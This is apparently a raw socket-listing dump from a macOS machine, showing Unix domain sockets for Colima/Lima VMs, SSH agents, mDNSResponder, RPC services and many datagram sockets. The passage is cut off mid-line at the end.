/Users/drjones/.colima/_lima/colima/ha.sock\n71fb64b894e01440 stream 0 0 10672773ececdad5 0 0 0 /Users/drjones/.colima/_lima/_networks/user-v2/user-v2_fd.sock\na488c71c1f742b2a stream 0 0 501984e26a94b430 0 0 0 /Users/drjones/.colima/_lima/_networks/user-v2/user-v2_qemu.sock\n52719b2c3fbf5884 stream 0 0 454ccb971782eba6 0 0 0 /Users/drjones/.colima/_lima/_networks/user-v2/user-v2_ep.sock\n4316545bf3d61ba9 stream 0 0 3e4fdff6c9a6bdaa 0 0 0 /Users/drjones/.ssh/agent/s.Y14sPYjOgl.agent.YXRw2q2ZJG\n169147cbcb870f91 stream 0 0 0 bd3fa5a8a9f75d81 0 0 /var/run/mDNSResponder\nbd3fa5a8a9f75d81 stream 0 0 0 169147cbcb870f91 0 0\n86e6209ec4854e7a stream 0 0 fbe0dcde37908951 0 0 0 /Users/drjones/.ssh/agent/s.Y14sPYjOgl.agent.heUnOnFupR\n500cfd3f48dc678a stream 0 0 0 efcb113fe2c9ff4 0 0 /var/run/mDNSResponder\n790e209a8b31c814 stream 0 0 0 607ad731dc8ea1e2 0 0 /var/run/mDNSResponder\n607ad731dc8ea1e2 stream 0 0 0 790e209a8b31c814 0 0\n efcb113fe2c9ff4 stream 0 0 0 500cfd3f48dc678a 0 0\n6e1cb0ea7b2dd8f4 stream 0 0 0 9ae86861736621f9 0 0 /var/run/mDNSResponder\n9ae86861736621f9 stream 0 0 0 6e1cb0ea7b2dd8f4 0 0\n9abc7d318211a9d6 stream 0 0 0 cc30a4521c284744 0 0 /var/run/mDNSResponder\ncc30a4521c284744 stream 0 0 0 9abc7d318211a9d6 0 0\nb8786e0d7c498040 stream 0 0 0 b13479a8967a35f7 0 0 /var/run/mDNSResponder\nb13479a8967a35f7 stream 0 0 0 b8786e0d7c498040 0 0\n64f9735700209d2e stream 0 0 0 c1248aed46a99fe5 0 0 /var/run/mDNSResponder\nc1248aed46a99fe5 stream 0 0 0 64f9735700209d2e 0 0\nc10208e48550cb63 stream 0 0 0 c9b9d90f3fc611ea 0 0 /var/run/mDNSResponder\nc9b9d90f3fc611ea stream 0 0 0 c10208e48550cb63 0 0\nc1b0e6849987e811 stream 0 0 0 18852371162efc11 0 0 /var/run/mDNSResponder\n18852371162efc11 stream 0 0 0 c1b0e6849987e811 0 0\n8cc72f7c46a870c0 stream 0 0 0 d7a3e1e541e326c5 0 0 /var/run/mDNSResponder\nd7a3e1e541e326c5 stream 0 0 0 8cc72f7c46a870c0 0 0\n fac33ee9be9a2f5 stream 0 0 0 c101bbdaa718bc74 0 0 /var/run/mDNSResponder\nc101bbdaa718bc74 stream 0 0 0 fac33ee9be9a2f5 0 0\naef8c6cf5899cdfb stream 0 0 0 16480c7d8c36a518 0 0 /var/run/mDNSResponder\n16480c7d8c36a518 stream 0 0 0 aef8c6cf5899cdfb 0 0\n41f8b40b7f30bbea stream 0 0 0 9cf139f8350ff35b 0 0 /var/run/mDNSResponder\n9cf139f8350ff35b stream 0 0 0 41f8b40b7f30bbea 0 0\nbbe79857932418f9 stream 0 0 0 320441df01ae119c 0 0 /var/run/mDNSResponder\n320441df01ae119c stream 0 0 0 bbe79857932418f9 0 0\nda7b3f81d1de318c stream 0 0 0 67d27588d41c9a99 0 0 /var/run/mDNSResponder\n67d27588d41c9a99 stream 0 0 0 da7b3f81d1de318c 0 0\n453f5dbcd52689aa stream 0 0 0 9d7dee523ce520d4 0 0 /var/run/mDNSResponder\n9d7dee523ce520d4 stream 0 0 0 453f5dbcd52689aa 0 0\nd739a1d380a0b690 stream 0 0 0 0 0 0\n28c46170c2524660 stream 0 0 fae299e3b4b6bbc3 0 0 0 /private/tmp/com.apple.launchd.1yuSEN8uUR/Listeners\n 51313cbe3653f30 stream 0 0 0 dd2736618458f9d6 0 0 /var/run/mDNSResponder\ndd2736618458f9d6 stream 0 0 0 51313cbe3653f30 0 0\n b899bb3d3e05bd stream 0 0 0 9880d7997d8e487e 0 0\n9880d7997d8e487e stream 0 0 0 b899bb3d3e05bd 0 0\n670257ffc6d49de0 stream 0 0 6837b8e45635b92e 0 0 0 /var/run/pppconfd\n93d08a27f06bd718 stream 0 0 32350bd903839471 0 0 0 /var/rpc/ncalrpc/srvsvc\n8635dd3938dc6162 stream 0 0 e2d081824f29fd75 0 0 0 /var/rpc/ncacn_np/srvsvc\n22ed96fc17a42ff2 stream 0 0 5a74e9a200b688cd 0 0 0 /var/rpc/ncalrpc/wkssvc\n193383ffad526b62 stream 0 0 bb05d6b7c1eac456 0 0 0 /var/rpc/ncacn_np/wkssvc\n83e674646e29723f stream 0 0 127277cfd40e003f 0 0 0 /var/rpc/ncacn_np/mdssvc\nf5b47235df26c6cc stream 0 0 f80e57959a5771d3 0 0 0 /var/rpc/ncalrpc/lsarpc\nfc3e3223632f24c1 stream 0 0 a10b939e2f3d13e8 0 0 0 /var/rpc/ncacn_np/lsarpc\n2ba9a131b4cba24d stream 0 0 df10b719b2509c2d 0 0 0 /var/run/mDNSResponder\n3ef568e41a819bc6 stream 0 0 e4c01250a58f3142 0 0 0 /var/run/systemkeychaincheck.socket\n61a4f2260bdbc24f stream 0 0 70138c1757aacce5 0 0 0 /private/var/run/.sim_diagnosticd_socket\n34224458a5221539 stream 0 0 17db4f620443a42d 0 0 0 /var/run/portmap.socket\n388add846383a0a7 stream 0 0 68add61e265a0554 0 0 0 /var/run/vpncontrol.sock\na154bb320957f164 stream 0 0 fac2fe1c7b9c4ca8 0 0 0 /var/rpc/ncalrpc/NETLOGON\na51bf984754402d6 stream 0 0 c84beada5d83b023 0 0 0 /private/var/run/cupsd\n526f7ce60e7651f4 dgram 0 0 0 5ba4ca40d354f1e2 0 8ed84d243e607829\n8ed84d243e607829 dgram 0 0 0 5ba4ca40d354f1e2 0 96001cd0cc3d1bb4\n96001cd0cc3d1bb4 dgram 0 0 0 5ba4ca40d354f1e2 0 3d32f523eef73f1\n 3d32f523eef73f1 dgram 0 0 0 5ba4ca40d354f1e2 0 9b88f9e1a151e18b\n9b88f9e1a151e18b dgram 0 0 0 5ba4ca40d354f1e2 0 cd90bd1b5c750050\ncd90bd1b5c750050 dgram 0 0 0 5ba4ca40d354f1e2 0 acd785a1e65f7c83\nacd785a1e65f7c83 dgram 0 0 0 5ba4ca40d354f1e2 0 4639b9cdb6a94383\n4639b9cdb6a94383 dgram 0 0 0 5ba4ca40d354f1e2 0 450c99769a8353cc\n450c99769a8353cc dgram 0 0 0 5ba4ca40d354f1e2 0 2ca9b520c3952ddd\n2ca9b520c3952ddd dgram 0 0 0 5ba4ca40d354f1e2 0 2051c3fc323eaeb6\n2051c3fc323eaeb6 dgram 0 0 0 5ba4ca40d354f1e2 0 d66a2db7f2d1781\n d66a2db7f2d1781 dgram 0 0 0 5ba4ca40d354f1e2 0 73779777f76f63eb\n73779777f76f63eb dgram 0 0 0 5ba4ca40d354f1e2 0 d5b3508d4475e17c\nd5b3508d4475e17c dgram 0 0 0 5ba4ca40d354f1e2 0 a29cecb920a2798b\na29cecb920a2798b dgram 0 0 0 5ba4ca40d354f1e2 0 9c0ce8a26814f0ba\n9c0ce8a26814f0ba dgram 0 0 0 5ba4ca40d354f1e2 0 fbaef9239d4e192a\nfbaef9239d4e192a dgram 0 0 0 5ba4ca40d354f1e2 0 87d1d9f853c944b9\n87d1d9f853c944b9 dgram 0 0 0 5ba4ca40d354f1e2 0 a9116580930ee89d\na9116580930ee89d dgram 0 0 0 5ba4ca40d354f1e2 0 f752b5405e882647\nf752b5405e882647 dgram 0 0 0 5ba4ca40d354f1e2 0 86d486ae26c96ea\n 86d486ae26c96ea dgram 0 0 0 5ba4ca40d354f1e2 0 15d113eb976eed9c\n15d113eb976eed9c dgram 0 0 0 5ba4ca40d354f1e2 0 536636737990ac55\n536636737990ac55 dgram 0 0 0 5ba4ca40d354f1e2 0 d072244d9df96884\nd072244d9df96884 dgram 0 0 0 5ba4ca40d354f1e2 0 e5b3b33136c77754\ne5b3b33136c77754 dgram 0 0 0 5ba4ca40d354f1e2 0 3344dff0e6327f5f\n3344dff0e6327f5f dgram 0 0 0 5ba4ca40d354f1e2 0 e3f34c6a731b1208\ne3f34c6a731b1208 dgram 0 0 0 5ba4ca40d354f1e2 0 fa503b641ea0c33d\nfa503b641ea0c33d dgram 0 0 0 5ba4ca40d354f1e2 0 ab8a6dc631bd48b2\nab8a6dc631bd48b2 dgram 0 0 0 5ba4ca40d354f1e2 0 2b82400b4b9c3961\n2b82400b4b9c3961 dgram 0 0 0 5ba4ca40d354f1e2 0 ad0eca723acc06a3\nad0eca723acc06a3 dgram 0 0 0 5ba4ca40d354f1e2 0 39a8fb91e773fa3d\n39a8fb91e773fa3d dgram 0 0 0 5ba4ca40d354f1e2 0 c54a3d144f27f18a\nc54a3d144f27f18a dgram 0 0 0 5ba4ca40d354f1e2 0 1915d442a57f61ff\n1915d442a57f61ff dgram 0 0 0 5ba4ca40d354f1e2 0 716150bdc9c0aa00\n716150bdc9c0aa00 dgram 0 0 0 5ba4ca40d354f1e2 0 8ec735612021efb5\n8ec735612021efb5 dgram 0 0 0 5ba4ca40d354f1e2 0 dc9c905a5e6fdfeb\ndc9c905a5e6fdfeb dgram 0 0 0 5ba4ca40d354f1e2 0 63a2c552f997f87b\n63a2c552f997f87b dgram 0 0 0 5ba4ca40d354f1e2 0 c8da7f58224bcb00\nc8da7f58224bcb00 dgram 0 0 0 5ba4ca40d354f1e2 0 fff186470afe14b2\nfff186470afe14b2 dgram 0 0 0 5ba4ca40d354f1e2 0 540158851782bb17\n540158851782bb17 dgram 0 0 0 5ba4ca40d354f1e2 0 47f9f6f192a0bb85\n47f9f6f192a0bb85 dgram 0 0 0 5ba4ca40d354f1e2 0 9d85517b7fc24edf\n9d85517b7fc24edf dgram 0 0 0 5ba4ca40d354f1e2 0 c0c71b5071122e5d\nc0c71b5071122e5d dgram 0 0 0 5ba4ca40d354f1e2 0 89143df6b4a4c870\n89143df6b4a4c870 dgram 0 0 0 5ba4ca40d354f1e2 0 e84c5c33360b0cd2\ne84c5c33360b0cd2 dgram 0 0 0 5ba4ca40d354f1e2 0 722bc7357977d178\n722bc7357977d178 dgram 0 0 0 5ba4ca40d354f1e2 0 47411b5b0e1c4254\n47411b5b0e1c4254 dgram 0 0 0 5ba4ca40d354f1e2 0 25b1bd25d4d9f19e\n25b1bd25d4d9f19e dgram 0 0 0 5ba4ca40d354f1e2 0 1c4766f4e19c72fa\n1c4766f4e19c72fa dgram 0 0 0 5ba4ca40d354f1e2 0 618be02b40e5f5c3\n618be02b40e5f5c3 dgram 0 0 0 5ba4ca40d354f1e2 0 e28d99e2774d6d98\ne28d99e2774d6d98 dgram 0 0 0 5ba4ca40d354f1e2 0 efbf59ccf0270690\nefbf59ccf0270690 dgram 0 0 0 5ba4ca40d354f1e2 0 3f0f8d0cbcdc33d7\n3f0f8d0cbcdc33d7 dgram 0 0 0 5ba4ca40d354f1e2 0 a970c08e363f236e\na970c08e363f236e dgram 0 0 0 5ba4ca40d354f1e2 0 f1cfe71b9e9ac4ca\nf1cfe71b9e9ac4ca dgram 0 0 0 5ba4ca40d354f1e2 0 7051eff2ecb9dfa6\n7051eff2ecb9dfa6 dgram 0 0 0 5ba4ca40d354f1e2 0 61af798fe20cd57f\n61af798fe20cd57f dgram 0 0 0 5ba4ca40d354f1e2 0 fb92390f47127c5\n fb92390f47127c5 dgram 0 0 0 5ba4ca40d354f1e2 0 851da1379cc97abd\n851da1379cc97abd dgram 0 0 0 5ba4ca40d354f1e2 0 e5eff48a25e95c38\ne5eff48a25e95c38 dgram 0 0 0 5ba4ca40d354f1e2 0 13b8223b2e5bb9b4\n13b8223b2e5bb9b4 dgram 0 0 0 5ba4ca40d354f1e2 0 f96d754aa8e7cfe6\nf96d754aa8e7cfe6 dgram 0 0 0 5ba4ca40d354f1e2 0 c8fb7546dc2febf8\nc8fb7546dc2febf8 dgram 0 0 0 5ba4ca40d354f1e2 0 f8c527c581d9523d\nf8c527c581d9523d dgram 0 0 0 5ba4ca40d354f1e2 0 be89f272eb25108\n be89f272eb25108 dgram 0 0 0 5ba4ca40d354f1e2 0 842c0cdf70d27775\n842c0cdf70d27775 dgram 0 0 0 5ba4ca40d354f1e2 0 7dcb8a43dbcb235\n 7dcb8a43dbcb235 dgram 0 0 0 5ba4ca40d354f1e2 0 3315f45efdb91077\n3315f45efdb91077 dgram 0 0 0 5ba4ca40d354f1e2 0 5109278cd1b26509\n5109278cd1b26509 dgram 0 0 0 5ba4ca40d354f1e2 0 f618d52e9de66e1e\nf618d52e9de66e1e dgram 0 0 0 5ba4ca40d354f1e2 0 ff90a079a5207885\nff90a079a5207885 dgram 0 0 0 5ba4ca40d354f1e2 0 5df4ff08404970e8\n5df4ff08404970e8 dgram 0 0 0 5ba4ca40d354f1e2 0 d07a33a69cc97ab0\nd07a33a69cc97ab0 dgram 0 0 0 5ba4ca40d354f1e2 0 568ef6052064d4c0\n568ef6052064d4c0 dgram 0 0 0 5ba4ca40d354f1e2 0 bcf6e6ce7aa073ab\nbcf6e6ce7aa073ab dgram 0 0 0 5ba4ca40d354f1e2 0 b319ccd03b2ddfc5\nb319ccd03b2ddfc5 dgram 0 0 0 5ba4ca40d354f1e2 0 1171fc2eddf4074d\n1171fc2eddf4074d dgram 0 0 0 5ba4ca40d354f1e2 0 d565196021b35ea5\n343df5c78f79d5ad dgram 0 0 0 f4a713a057d2d28c f4a713a057d2d28c 0\nf4a713a057d2d28c dgram 0 0 0 343df5c78f79d5ad 343df5c78f79d5ad 0\nd565196021b35ea5 dgram 0 0 0 5ba4ca40d354f1e2 0 984731bf09843fb7\n984731bf09843fb7 dgram 0 0 0 5ba4ca40d354f1e2 0 31a99862f2fea769\n31a99862f2fea769 dgram 0 0 0 5ba4ca40d354f1e2 0 9cb8783c0775cf75\n9cb8783c0775cf75 dgram 0 0 0 5ba4ca40d354f1e2 0 1fbdc04d9d4559a2\n1fbdc04d9d4559a2 dgram 0 0 0 5ba4ca40d354f1e2 0 a68763555dc82db6\na68763555dc82db6 dgram 0 0 0 5ba4ca40d354f1e2 0 31418e8b4f61caf9\n31418e8b4f61caf9 dgram 0 0 0 5ba4ca40d354f1e2 0 9ea04624ee784c25\n9ea04624ee784c25 dgram 0 0 0 5ba4ca40d354f1e2 0 9bc808be3d3fc504\n9bc808be3d3fc504 dgram 0 0 0 5ba4ca40d354f1e2 0 19b0afc34edaa81d\n19b0afc34edaa81d dgram 0 0 0 5ba4ca40d354f1e2 0 37396f6ed52b7bcf\n37396f6ed52b7bcf dgram 0 0 0 5ba4ca40d354f1e2 0 6cd019ccb935f504\n6cd019ccb935f504 dgram 0 0 0 5ba4ca40d354f1e2 0 e8c6dc8e8a08c25c\ne8c6dc8e8a08c25c dgram 0 0 0 5ba4ca40d354f1e2 0 1c1ec29d3303d9dd\n1c1ec29d3303d9dd dgram 0 0 0 5ba4ca40d354f1e2 0 5921fb034baf2d5b\n5921fb034baf2d5b dgram 0 0 0 5ba4ca40d354f1e2 0 4e90ea05f0dbb734\n4e90ea05f0dbb734 dgram 0 0 0 5ba4ca40d354f1e2 0 40b187e4c2b0ceeb\nd0efcb6c603b0560 dgram 0 0 0 ea55b9ab6faaf61a ea55b9ab6faaf61a 0\nea55b9ab6faaf61a dgram 0 0 0 d0efcb6c603b0560 d0efcb6c603b0560 0\n40b187e4c2b0ceeb dgram 0 0 0 5ba4ca40d354f1e2 0 76dc9ae70696db7e\n76dc9ae70696db7e dgram 0 0 0 5ba4ca40d354f1e2 0 c38d7cbe7eb122f9\nc38d7cbe7eb122f9 dgram 0 0 0 5ba4ca40d354f1e2 0 ae4ab0f7f612d7a8\nae4ab0f7f612d7a8 dgram 0 0 0 5ba4ca40d354f1e2 0 2f282bcd8f016045\n2f282bcd8f016045 dgram 0 0 0 5ba4ca40d354f1e2 0 3f62299b39fcb8db\n3f62299b39fcb8db dgram 0 0 0 5ba4ca40d354f1e2 0 be2b6f56d04d0024\nbe2b6f56d04d0024 dgram 0 0 0 5ba4ca40d354f1e2 0 e27191c9cabb0ec8\ne27191c9cabb0ec8 dgram 0 0 0 5ba4ca40d354f1e2 0 cfac789dc99044dc\ncfac789dc99044dc dgram 0 0 0 5ba4ca40d354f1e2 0 2c7ae1d17899fa6c\n2c7ae1d17899fa6c dgram 0 0 0 5ba4ca40d354f1e2 0 c8cc9971aa3006b7\nc8cc9971aa3006b7 dgram 0 0 0 5ba4ca40d354f1e2 0 4e6f4f441ce0ba02\n4e6f4f441ce0ba02 dgram 0 0 0 5ba4ca40d354f1e2 0 a8bb5619a94720e0\na8bb5619a94720e0 dgram 0 0 0 5ba4ca40d354f1e2 0 16acb918438ee7b3\n16acb918438ee7b3 dgram 0 0 0 5ba4ca40d354f1e2 0 fb6b6da69230e15d\nfb6b6da69230e15d dgram 0 0 0 5ba4ca40d354f1e2 0 b7de3d1b09757fe1\nb7de3d1b09757fe1 dgram 0 0 0 5ba4ca40d354f1e2 0 3ae0fe90e85e8e60\n3ae0fe90e85e8e60 dgram 0 0 0 5ba4ca40d354f1e2 0 d37ea1d2b300939d\nd37ea1d2b300939d dgram 0 0 0 5ba4ca40d354f1e2 0 d431be544702a7d4\nd431be544702a7d4 dgram 0 0 0 5ba4ca40d354f1e2 0 b6c692a833f9a9b4\nb6c692a833f9a9b4 dgram 0 0 0 5ba4ca40d354f1e2 0 ff75fd435ab3572e\nff75fd435ab3572e dgram 0 0 0 5ba4ca40d354f1e2 0 8b851cc2678d185e\n8b851cc2678d185e dgram 0 0 0 5ba4ca40d354f1e2 0 b9ac4952fabeab39\nb9ac4952fabeab39 dgram 0 0 0 5ba4ca40d354f1e2 0 d410fcc711de1997\nd410fcc711de1997 dgram 0 0 0 5ba4ca40d354f1e2 0 7c680237b1227faa\n7c680237b1227faa dgram 0 0 0 5ba4ca40d354f1e2 0 b513fb5a6f48d031\nb513fb5a6f48d031 dgram 0 0 0 5ba4ca40d354f1e2 0 f23055b80200e9cb\nf23055b80200e9cb dgram 0 0 0 5ba4ca40d354f1e2 0 17735af69663269\n 17735af69663269 dgram 0 0 0 5ba4ca40d354f1e2 0 d96f78c6ba0003b2\nd96f78c6ba0003b2 dgram 0 0 0 5ba4ca40d354f1e2 0 9a8602787188b51e\n9a8602787188b51e dgram 0 0 0 5ba4ca40d354f1e2 0 5e5a6236d4a9b6ee\n5e5a6236d4a9b6ee dgram 0 0 0 5ba4ca40d354f1e2 0 eedd40de62d4c2bf\needd40de62d4c2bf dgram 0 0 0 5ba4ca40d354f1e2 0 8102894275a2eb0b\n8102894275a2eb0b dgram 0 0 0 5ba4ca40d354f1e2 0 895bde0b575213d8\n895bde0b575213d8 dgram 0 0 0 5ba4ca40d354f1e2 0 2c0bf4fed9cedcf8\n2aba3eecbe3caa9f dgram 0 0 0 c47862b414550558 c47862b414550558 0\nc47862b414550558 dgram 0 0 0 2aba3eecbe3caa9f 2aba3eecbe3caa9f 0\nd56b564ce1f50738 dgram 0 0 0 adc3583b9ef5049b adc3583b9ef5049b 0\nadc3583b9ef5049b dgram 0 0 0 d56b564ce1f50738 d56b564ce1f50738 0\n2c0bf4fed9cedcf8 dgram 0 0 0 5ba4ca40d354f1e2 0 1b0333675f0624a0\n1b0333675f0624a0 dgram 0 0 0 5ba4ca40d354f1e2 0 ca22b4a9156ca53f\nca22b4a9156ca53f dgram 0 0 0 5ba4ca40d354f1e2 0 f147b8f5e4345af7\nf147b8f5e4345af7 dgram 0 0 0 5ba4ca40d354f1e2 0 ba390a3f5b3535fe\nba390a3f5b3535fe dgram 0 0 0 5ba4ca40d354f1e2 0 b7f74b681b2d5cf4\nb7f74b681b2d5cf4 dgram 0 0 0 5ba4ca40d354f1e2 0 4df633aa4d4c2ca5\n4df633aa4d4c2ca5 dgram 0 0 0 5ba4ca40d354f1e2 0 261ba5ca5d1a1e7e\n261ba5ca5d1a1e7e dgram 0 0 0 5ba4ca40d354f1e2 0 85062d613fe104c8\n85062d613fe104c8 dgram 0 0 0 5ba4ca40d354f1e2 0 2d8095a951c54361\nd28294aa54c1b274 dgram 0 0 0 dac8482288150ab dac8482288150ab 0\n dac8482288150ab dgram 0 0 0 d28294aa54c1b274 d28294aa54c1b274 0\n2d8095a951c54361 dgram 0 0 0 5ba4ca40d354f1e2 0 80e1034ff1d61c9b\ne2c50bed7c199076 dgram 0 0 0 f45f977e64241a8b f45f977e64241a8b 0\nf45f977e64241a8b dgram 0 0 0 e2c50bed7c199076 e2c50bed7c199076 0\n80e1034ff1d61c9b dgram 0 0 0 5ba4ca40d354f1e2 0 7f522caaccb72657\n7f522caaccb72657 dgram 0 0 0 5ba4ca40d354f1e2 0 59fcc89bfe6eda60\n59fcc89bfe6eda60 dgram 0 0 0 5ba4ca40d354f1e2 0 9a6f601a465fa576\n9a6f601a465fa576 dgram 0 0 0 5ba4ca40d354f1e2 0 a2199859e77cd393\na2199859e77cd393 dgram 0 0 0 5ba4ca40d354f1e2 0 5f636d44c3b5855d\na2dfc03936ea3317 dgram 0 0 0 a41f995c7b5c7194 a41f995c7b5c7194 0\na41f995c7b5c7194 dgram 0 0 0 a2dfc03936ea3317 a2dfc03936ea3317 0\n5f636d44c3b5855d dgram 0 0 0 5ba4ca40d354f1e2 0 97845c405d4fdba5\n97845c405d4fdba5 dgram 0 0 0 5ba4ca40d354f1e2 0 292e3f8d0dbd27b8\n292e3f8d0dbd27b8 dgram 0 0 0 5ba4ca40d354f1e2 0 3668fcc430a8d8b3\n181e3f4b143bbeea dgram 0 0 0 7117960252a6ac85 7117960252a6ac85 0\n7117960252a6ac85 dgram 0 0 0 181e3f4b143bbeea 181e3f4b143bbeea 0\n3668fcc430a8d8b3 dgram 0 0 0 5ba4ca40d354f1e2 0 39784665021bea9e\n39784665021bea9e dgram 0 0 0 5ba4ca40d354f1e2 0 dc1e5d3262ee8c61\ndc1e5d3262ee8c61 dgram 0 0 0 5ba4ca40d354f1e2 0 d63cbac704243130\nd63cbac704243130 dgram 0 0 0 5ba4ca40d354f1e2 0 8b3fee3d0274dfdd\n8b3fee3d0274dfdd dgram 0 0 0 5ba4ca40d354f1e2 0 91d800a15a085f09\n91d800a15a085f09 dgram 0 0 0 5ba4ca40d354f1e2 0 2cb0a289677310ec\n2cb0a289677310ec dgram 0 0 0 5ba4ca40d354f1e2 0 8738b3f86007f4b8\n8738b3f86007f4b8 dgram 0 0 0 5ba4ca40d354f1e2 0 867d4800065c613c\n867d4800065c613c dgram 0 0 0 5ba4ca40d354f1e2 0 22ae8621605d76c8\n22ae8621605d76c8 dgram 0 0 0 5ba4ca40d354f1e2 0 e3467d1a7778f98a\nc202fe349babe1ab dgram 0 0 0 c3fae06b884c93ed c3fae06b884c93ed 0\nc3fae06b884c93ed dgram 0 0 0 c202fe349babe1ab c202fe349babe1ab 0\ne3467d1a7778f98a dgram 0 0 0 5ba4ca40d354f1e2 0 893ec98689e54d45\n 6185cc277afe3a0 dgram 0 0 0 463c92d9c96aacd4 463c92d9c96aacd4 0\n463c92d9c96aacd4 dgram 0 0 0 6185cc277afe3a0 6185cc277afe3a0 0\n893ec98689e54d45 dgram 0 0 0 5ba4ca40d354f1e2 0 8e70398162bcd232\n8e70398162bcd232 dgram 0 0 0 5ba4ca40d354f1e2 0 3e0222884e7400c4\n3e0222884e7400c4 dgram 0 0 0 5ba4ca40d354f1e2 0 957e33ace792d20f\n957e33ace792d20f dgram 0 0 0 5ba4ca40d354f1e2 0 8cd03dc2d1041227\n8cd03dc2d1041227 dgram 0 0 0 5ba4ca40d354f1e2 0 f3a61100b88a5f5a\nf3a61100b88a5f5a dgram 0 0 0 5ba4ca40d354f1e2 0 3f10e1906db132c0\n3f10e1906db132c0 dgram 0 0 0 5ba4ca40d354f1e2 0 c057e117bc454e65\nc057e117bc454e65 dgram 0 0 0 5ba4ca40d354f1e2 0 53f8fd2360784276\necface2d7f43ae13 dgram 0 0 0 bcccebe6d5d58a35 bcccebe6d5d58a35 0\nbcccebe6d5d58a35 dgram 0 0 0 ecface2d7f43ae13 ecface2d7f43ae13 0\n1535082bb5e36190 dgram 0 0 0 1d2ee3810ec30df0 1d2ee3810ec30df0 0\n1d2ee3810ec30df0 dgram 0 0 0 1535082bb5e36190 1535082bb5e36190 0\nf3e3d2897213ebca dgram 0 0 0 c4c39ae85106340c c4c39ae85106340c 0\nc4c39ae85106340c dgram 0 0 0 f3e3d2897213ebca f3e3d2897213ebca 0\ncc7913782ab00c6d dgram 0 0 0 686abee68c5086ab 686abee68c5086ab 0\n686abee68c5086ab dgram 0 0 0 cc7913782ab00c6d cc7913782ab00c6d 0\n53f8fd2360784276 dgram 0 0 0 5ba4ca40d354f1e2 0 9c04b76fb545be7\n391eb439a930a1b8 dgram 0 0 0 974b30cdf1247b85 974b30cdf1247b85 0\n974b30cdf1247b85 dgram 0 0 0 391eb439a930a1b8 391eb439a930a1b8 0\n 9c04b76fb545be7 dgram 0 0 0 5ba4ca40d354f1e2 0 c1f811586747da29\nc1f811586747da29 dgram 0 0 0 5ba4ca40d354f1e2 0 5210471d40b62ca6\n5210471d40b62ca6 dgram 0 0 0 5ba4ca40d354f1e2 0 70d72e3a584a234d\n70d72e3a584a234d dgram 0 0 0 5ba4ca40d354f1e2 0 e86e62840b6366ab\ncf217342f2d4a213 dgram 0 0 0 5b14659ec0c9cc62 5b14659ec0c9cc62 0\n5b14659ec0c9cc62 dgram 0 0 0 cf217342f2d4a213 cf217342f2d4a213 0\ne86e62840b6366ab dgram 0 0 0 5ba4ca40d354f1e2 0 e757a63624d5f164\ne757a63624d5f164 dgram 0 0 0 5ba4ca40d354f1e2 0 6f51c0d0358541c2\n6f51c0d0358541c2 dgram 0 0 0 5ba4ca40d354f1e2 0 7ff59277584de384\n7ff59277584de384 dgram 0 0 0 5ba4ca40d354f1e2 0 1702cdb088c994eb\n1702cdb088c994eb dgram 0 0 0 5ba4ca40d354f1e2 0 5b8414af890b5c2c\n5b8414af890b5c2c dgram 0 0 0 5ba4ca40d354f1e2 0 fd5a4d12b5b1d7c3\nfd5a4d12b5b1d7c3 dgram 0 0 0 5ba4ca40d354f1e2 0 42f84459da315695\nbc6f2607004f3790 dgram 0 0 0 9fb74352315ac7f5 9fb74352315ac7f5 0\n9fb74352315ac7f5 dgram 0 0 0 bc6f2607004f3790 bc6f2607004f3790 0\n42f84459da315695 dgram 0 0 0 5ba4ca40d354f1e2 0 e8e5ac29bd6a6f5b\ne8e5ac29bd6a6f5b dgram 0 0 0 5ba4ca40d354f1e2 0 ae087dce69c6a81b\nae087dce69c6a81b dgram 0 0 0 5ba4ca40d354f1e2 0 695e8da8c55bd1b0\n695e8da8c55bd1b0 dgram 0 0 0 5ba4ca40d354f1e2 0 2a4e83b2702d28b0\n2a4e83b2702d28b0 dgram 0 0 0 5ba4ca40d354f1e2 0 233daa2933d903c8\n233daa2933d903c8 dgram 0 0 0 5ba4ca40d354f1e2 0 7b7f8d8a127bcc3\n 7b7f8d8a127bcc3 dgram 0 0 0 5ba4ca40d354f1e2 0 aefc3de5a4389ea0\naefc3de5a4389ea0 dgram 0 0 0 5ba4ca40d354f1e2 0 7878f98420b0512b\n7878f98420b0512b dgram 0 0 0 5ba4ca40d354f1e2 0 54a7f1b2d2421f3e\n54a7f1b2d2421f3e dgram 0 0 0 5ba4ca40d354f1e2 0 57451aed388a61dc\n57451aed388a61dc dgram 0 0 0 5ba4ca40d354f1e2 0 1ea658f992070db1\n1ea658f992070db1 dgram 0 0 0 5ba4ca40d354f1e2 0 6bb534df883a4ec1\n6bb534df883a4ec1 dgram 0 0 0 5ba4ca40d354f1e2 0 c146c57bb0b65dec\nc146c57bb0b65dec dgram 0 0 0 5ba4ca40d354f1e2 0 6bae988987d09b6b\n6bae988987d09b6b dgram 0 0 0 5ba4ca40d354f1e2 0 5671ffd80b30c0ca\n5671ffd80b30c0ca dgram 0 0 0 5ba4ca40d354f1e2 0 c1e394c4468a5c79\nc1e394c4468a5c79 dgram 0 0 0 5ba4ca40d354f1e2 0 1f5179bc6b5df9a2\n1f5179bc6b5df9a2 dgram 0 0 0 5ba4ca40d354f1e2 0 e18709dcdaf1e66a\ne18709dcdaf1e66a dgram 0 0 0 5ba4ca40d354f1e2 0 ef47e6410d667bb4\nef47e6410d667bb4 dgram 0 0 0 5ba4ca40d354f1e2 0 67803ee2550f89b0\n67803ee2550f89b0 dgram 0 0 0 5ba4ca40d354f1e2 0 9e151339aa7cdc26\n9e151339aa7cdc26 dgram 0 0 0 5ba4ca40d354f1e2 0 71cc44384b475483\n71cc44384b475483 dgram 0 0 0 5ba4ca40d354f1e2 0 e01a419a9eb8ff9d\ne01a419a9eb8ff9d dgram 0 0 0 5ba4ca40d354f1e2 0 a49e018f60c97ba0\na49e018f60c97ba0 dgram 0 0 0 5ba4ca40d354f1e2 0 271f6f16436519cc\n271f6f16436519cc dgram 0 0 0 5ba4ca40d354f1e2 0 f88ead7a979c5451\nf88ead7a979c5451 dgram 0 0 0 5ba4ca40d354f1e2 0 3d07b690bcd07027\n3d07b690bcd07027 dgram 0 0 0 5ba4ca40d354f1e2 0 645a608def46f021\n4ec4cdc41c0ab3ea dgram 0 0 0 5f4311b2b83ed33f 5f4311b2b83ed33f 0\n5f4311b2b83ed33f dgram 0 0 0 4ec4cdc41c0ab3ea 4ec4cdc41c0ab3ea 0\nd23edae97103e399 dgram 0 0 0 40dbcd786b351336 40dbcd786b351336 0\n40dbcd786b351336 dgram 0 0 0 d23edae97103e399 d23edae97103e399 0\n645a608def46f021 dgram 0 0 0 5ba4ca40d354f1e2 0 f49df05162351c05\nf49df05162351c05 dgram 0 0 0 5ba4ca40d354f1e2 0 